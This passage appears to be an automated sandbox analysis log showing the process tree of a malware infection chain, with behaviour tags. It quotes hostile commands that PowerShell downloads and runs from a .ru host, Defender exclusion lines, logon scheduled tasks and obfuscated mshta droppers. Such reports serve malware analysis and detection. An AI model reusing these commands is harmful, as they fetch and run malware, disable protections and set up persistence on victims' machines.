12⤵
- Program crash
PID:1500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
11⤵
PID:2904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 2256
12⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))"
11⤵
- Blocklisted process makes network request
PID:6148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/Amongus.exe', (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe'))"
11⤵
- Blocklisted process makes network request
PID:7284

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')"
11⤵
PID:7576

C:\Users\Admin\AppData\Roaming\sold.exe
"C:\Users\Admin\AppData\Roaming\sold.exe"
12⤵
PID:6912

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\sold.exe"
13⤵
- Drops file in System32 directory
PID:6800

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
14⤵
PID:1496

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
15⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Creates scheduled task(s)
PID:3740

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\services32.exe"
14⤵
PID:5832

C:\Windows\system32\services32.exe
C:\Windows\system32\services32.exe
15⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:7112

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Windows\system32\services32.exe"
16⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:7772

C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
17⤵
PID:6292

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "/sihost32"
18⤵
- Loads dropped DLL
PID:5220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "Start-Process -FilePath (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe')"
11⤵
PID:2152

C:\Users\Admin\Amongus.exe
"C:\Users\Admin\Amongus.exe"
12⤵
PID:6556

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
13⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:6560

C:\Users\Admin\Pictures\Adobe Films\okMapBnuwoKkFkv6DNJnxaAd.exe
"C:\Users\Admin\Pictures\Adobe Films\okMapBnuwoKkFkv6DNJnxaAd.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:3372

C:\Users\Admin\Pictures\Adobe Films\MSMT3yGmzXPkyNGU4Ioc_cX7.exe
"C:\Users\Admin\Pictures\Adobe Films\MSMT3yGmzXPkyNGU4Ioc_cX7.exe"
7⤵
- Executes dropped EXE
PID:2488

C:\Users\Admin\Pictures\Adobe Films\qWZSTdOhU4VG7egnd7FPanGp.exe
"C:\Users\Admin\Pictures\Adobe Films\qWZSTdOhU4VG7egnd7FPanGp.exe"
7⤵
- Executes dropped EXE
PID:5608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5608 -s 240
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7916

C:\Users\Admin\Pictures\Adobe Films\FOGl6ElFqFbTpkovg9hhVPi3.exe
"C:\Users\Admin\Pictures\Adobe Films\FOGl6ElFqFbTpkovg9hhVPi3.exe"
7⤵
- Executes dropped EXE
PID:5596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 236
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7424

C:\Users\Admin\Pictures\Adobe Films\o9uSZntIwqe93u3YXgjwODAp.exe
"C:\Users\Admin\Pictures\Adobe Films\o9uSZntIwqe93u3YXgjwODAp.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5280

C:\Users\Admin\Documents\X4IAaOgGcZikswnm7TOgIOSW.exe
"C:\Users\Admin\Documents\X4IAaOgGcZikswnm7TOgIOSW.exe"
8⤵
PID:6896

C:\Users\Admin\Pictures\Adobe Films\hSVVqJwu9dgzLuTpwGyxJgix.exe
"C:\Users\Admin\Pictures\Adobe Films\hSVVqJwu9dgzLuTpwGyxJgix.exe"
9⤵
PID:932

C:\Users\Admin\Pictures\Adobe Films\0GGbjtnpTTrbzG7u2or4q7_l.exe
"C:\Users\Admin\Pictures\Adobe Films\0GGbjtnpTTrbzG7u2or4q7_l.exe"
9⤵
PID:7732

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\0GGbjtnpTTrbzG7u2or4q7_l.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\0GGbjtnpTTrbzG7u2or4q7_l.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
10⤵
PID:7792

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\0GGbjtnpTTrbzG7u2or4q7_l.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\0GGbjtnpTTrbzG7u2or4q7_l.exe" ) do taskkill -f -iM "%~NxM"
11⤵
PID:7192

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "0GGbjtnpTTrbzG7u2or4q7_l.exe"
12⤵
- Kills process with taskkill
PID:2912

C:\Users\Admin\Pictures\Adobe Films\dPDD1_x1AYINcoVmULBbF_RG.exe
"C:\Users\Admin\Pictures\Adobe Films\dPDD1_x1AYINcoVmULBbF_RG.exe"
9⤵
PID:7724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7724 -s 1744
10⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4588

C:\Users\Admin\Pictures\Adobe Films\KngXFzzriYmz7oZXLnNJ7Oje.exe
"C:\Users\Admin\Pictures\Adobe Films\KngXFzzriYmz7oZXLnNJ7Oje.exe"
9⤵
PID:7696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7696 -s 236
10⤵
- Executes dropped EXE
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6300

C:\Users\Admin\Pictures\Adobe Films\qMMgF0iy9oz3KXaRZNQHcx4E.exe
"C:\Users\Admin\Pictures\Adobe Films\qMMgF0iy9oz3KXaRZNQHcx4E.exe"
9⤵
PID:7560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7560 -s 236
10⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1648

C:\Users\Admin\Pictures\Adobe Films\FBowEu9d0daGixRU4W9LGBHi.exe
"C:\Users\Admin\Pictures\Adobe Films\FBowEu9d0daGixRU4W9LGBHi.exe"
9⤵
PID:8032

C:\Users\Admin\Pictures\Adobe Films\jfn8vpxKNthDu5DnWkBIAFRS.exe
"C:\Users\Admin\Pictures\Adobe Films\jfn8vpxKNthDu5DnWkBIAFRS.exe"
9⤵
- Loads dropped DLL
PID:7652

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
10⤵
PID:7864

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"
11⤵
- Suspicious use of FindShellTrayWindow
PID:4176

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff86290dec0,0x7ff86290ded0,0x7ff86290dee0
12⤵
PID:5688

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=1960 /prefetch:8
12⤵
PID:3392

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1580 /prefetch:2
12⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:7492

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=2072 /prefetch:8
12⤵
PID:7660

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2508 /prefetch:1
12⤵
PID:5572

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2516 /prefetch:1
12⤵
PID:1176

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3224 /prefetch:2
12⤵
PID:7020

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=1732 /prefetch:8
12⤵
PID:7356

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=3588 /prefetch:8
12⤵
- Loads dropped DLL
PID:6316

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=3360 /prefetch:8
12⤵
- Loads dropped DLL
- Adds Run key to start application
PID:7864

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=2076 /prefetch:8
12⤵
PID:5660

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,15032208555041387487,4842627465854870280,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4176_232814488" --mojo-platform-channel-handle=1896 /prefetch:8
12⤵
PID:2036

C:\Users\Admin\Pictures\Adobe Films\EfZylDS8gnimdLu50tagoPKK.exe
"C:\Users\Admin\Pictures\Adobe Films\EfZylDS8gnimdLu50tagoPKK.exe"
9⤵
PID:4784

C:\Users\Admin\AppData\Local\Temp\is-ISJSU.tmp\EfZylDS8gnimdLu50tagoPKK.tmp
"C:\Users\Admin\AppData\Local\Temp\is-ISJSU.tmp\EfZylDS8gnimdLu50tagoPKK.tmp" /SL5="$2046E,506127,422400,C:\Users\Admin\Pictures\Adobe Films\EfZylDS8gnimdLu50tagoPKK.exe"
10⤵
- Loads dropped DLL
PID:6452

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:6416

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:6964

C:\Users\Admin\Pictures\Adobe Films\LRSqKfZCaNZ_zXzXGAw7tCbk.exe
"C:\Users\Admin\Pictures\Adobe Films\LRSqKfZCaNZ_zXzXGAw7tCbk.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4820

C:\Users\Admin\Pictures\Adobe Films\LRSqKfZCaNZ_zXzXGAw7tCbk.exe
"C:\Users\Admin\Pictures\Adobe Films\LRSqKfZCaNZ_zXzXGAw7tCbk.exe"
8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7024

C:\Users\Admin\Pictures\Adobe Films\qm3T17zb2S0FFFQu0bRAfL_O.exe
"C:\Users\Admin\Pictures\Adobe Films\qm3T17zb2S0FFFQu0bRAfL_O.exe"
7⤵
- Executes dropped EXE
PID:5924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5924 -s 240
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6864

C:\Users\Admin\Pictures\Adobe Films\LF6wUUS4Bh5t4GsH_50X1G6X.exe
"C:\Users\Admin\Pictures\Adobe Films\LF6wUUS4Bh5t4GsH_50X1G6X.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5744

C:\Users\Admin\Pictures\Adobe Films\UHmIhzTPjA7Udq7mHDS7iVT8.exe
"C:\Users\Admin\Pictures\Adobe Films\UHmIhzTPjA7Udq7mHDS7iVT8.exe"
7⤵
PID:5700

C:\Users\Admin\Pictures\Adobe Films\t2RSCnrA9J7oKhlzpAzxT6n3.exe
"C:\Users\Admin\Pictures\Adobe Films\t2RSCnrA9J7oKhlzpAzxT6n3.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5704

C:\Users\Admin\Pictures\Adobe Films\F_Evme4OtUMIPukX3RuShUdN.exe
"C:\Users\Admin\Pictures\Adobe Films\F_Evme4OtUMIPukX3RuShUdN.exe"
7⤵
PID:6500

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\F_Evme4OtUMIPukX3RuShUdN.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\F_Evme4OtUMIPukX3RuShUdN.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
8⤵
PID:6440

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\F_Evme4OtUMIPukX3RuShUdN.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\F_Evme4OtUMIPukX3RuShUdN.exe" ) do taskkill -im "%~NxK" -F
9⤵
PID:2860

C:\Windows\SysWOW64\taskkill.exe
taskkill -im "F_Evme4OtUMIPukX3RuShUdN.exe" -F
10⤵
- Kills process with taskkill
PID:4696

C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
10⤵
PID:3236

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
11⤵
PID:3436

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
12⤵
PID:6704

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
11⤵
PID:7804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
12⤵
PID:5768

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
13⤵
PID:3688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHO "
13⤵
- Blocklisted process makes network request
PID:5208

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe -y .\N3V4H8H.SXY
13⤵
PID:5220

C:\Users\Admin\Pictures\Adobe Films\WTkq_9ecc7BH3DTIjhrTRzAW.exe
"C:\Users\Admin\Pictures\Adobe Films\WTkq_9ecc7BH3DTIjhrTRzAW.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6208

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01d42d6cf82db.exe
5⤵
PID:3412

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01d42d6cf82db.exe
Sat01d42d6cf82db.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3232

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01d42d6cf82db.exe
C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01d42d6cf82db.exe
7⤵
- Executes dropped EXE
PID:1432

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01c0e0d4fbb2ea73.exe
5⤵
PID:3988

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01c0e0d4fbb2ea73.exe
Sat01c0e0d4fbb2ea73.exe
6⤵
- Executes dropped EXE
PID:4704

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01519886887.exe
5⤵
PID:1400

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01519886887.exe
Sat01519886887.exe
6⤵
- Executes dropped EXE
PID:4452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01c5002407.exe
5⤵
PID:4828

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat0119f3e03c741b02f.exe
5⤵
PID:1968

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat0119f3e03c741b02f.exe
Sat0119f3e03c741b02f.exe
6⤵
- Executes dropped EXE
PID:3336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01688f54435b6.exe
5⤵
PID:5056

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01688f54435b6.exe
Sat01688f54435b6.exe
6⤵
- Executes dropped EXE
PID:4364

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat018ad0a25a7faa.exe
5⤵
PID:4376

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01f932a994dbc6.exe
5⤵
PID:4208

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01f932a994dbc6.exe
Sat01f932a994dbc6.exe
6⤵
- Executes dropped EXE
PID:768

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01f932a994dbc6.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01f932a994dbc6.exe" -u
7⤵
- Executes dropped EXE
PID:5132

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01e3b3e0fa80800c.exe
5⤵
PID:4832

C:\Windows\SysWOW64\cmstp.exe
"C:\Windows\SysWOW64\cmstp.exe"
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
PID:6956

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\Pictures\Adobe Films\okMapBnuwoKkFkv6DNJnxaAd.exe"
3⤵
PID:6516

C:\Users\Admin\AppData\Local\Temp\D6C9.exe
C:\Users\Admin\AppData\Local\Temp\D6C9.exe
2⤵
- Suspicious use of SetThreadContext
PID:6952

C:\Users\Admin\AppData\Local\Temp\D6C9.exe
C:\Users\Admin\AppData\Local\Temp\D6C9.exe
3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5388

C:\Users\Admin\AppData\Local\Temp\9D1.exe
C:\Users\Admin\AppData\Local\Temp\9D1.exe
2⤵
PID:3784

C:\Users\Admin\AppData\Local\Temp\1386.exe
C:\Users\Admin\AppData\Local\Temp\1386.exe
2⤵
PID:5996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5996 -s 280
3⤵
- Program crash
PID:7112

C:\Users\Admin\AppData\Local\Temp\52B3.exe
C:\Users\Admin\AppData\Local\Temp\52B3.exe
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6212

C:\Users\Admin\AppData\Local\Temp\569C.exe
C:\Users\Admin\AppData\Local\Temp\569C.exe
2⤵
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:2852

C:\Users\Admin\AppData\Local\Temp\f37888c9-9b29-4739-ae22-503de57e652d\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\f37888c9-9b29-4739-ae22-503de57e652d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f37888c9-9b29-4739-ae22-503de57e652d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
PID:888

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f37888c9-9b29-4739-ae22-503de57e652d\test.bat"
4⤵
PID:4016

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\569C.exe" -Force
3⤵
PID:5624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 2292
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2284

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
3⤵
PID:7124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
4⤵
- Adds Run key to start application
- Enumerates system info in registry
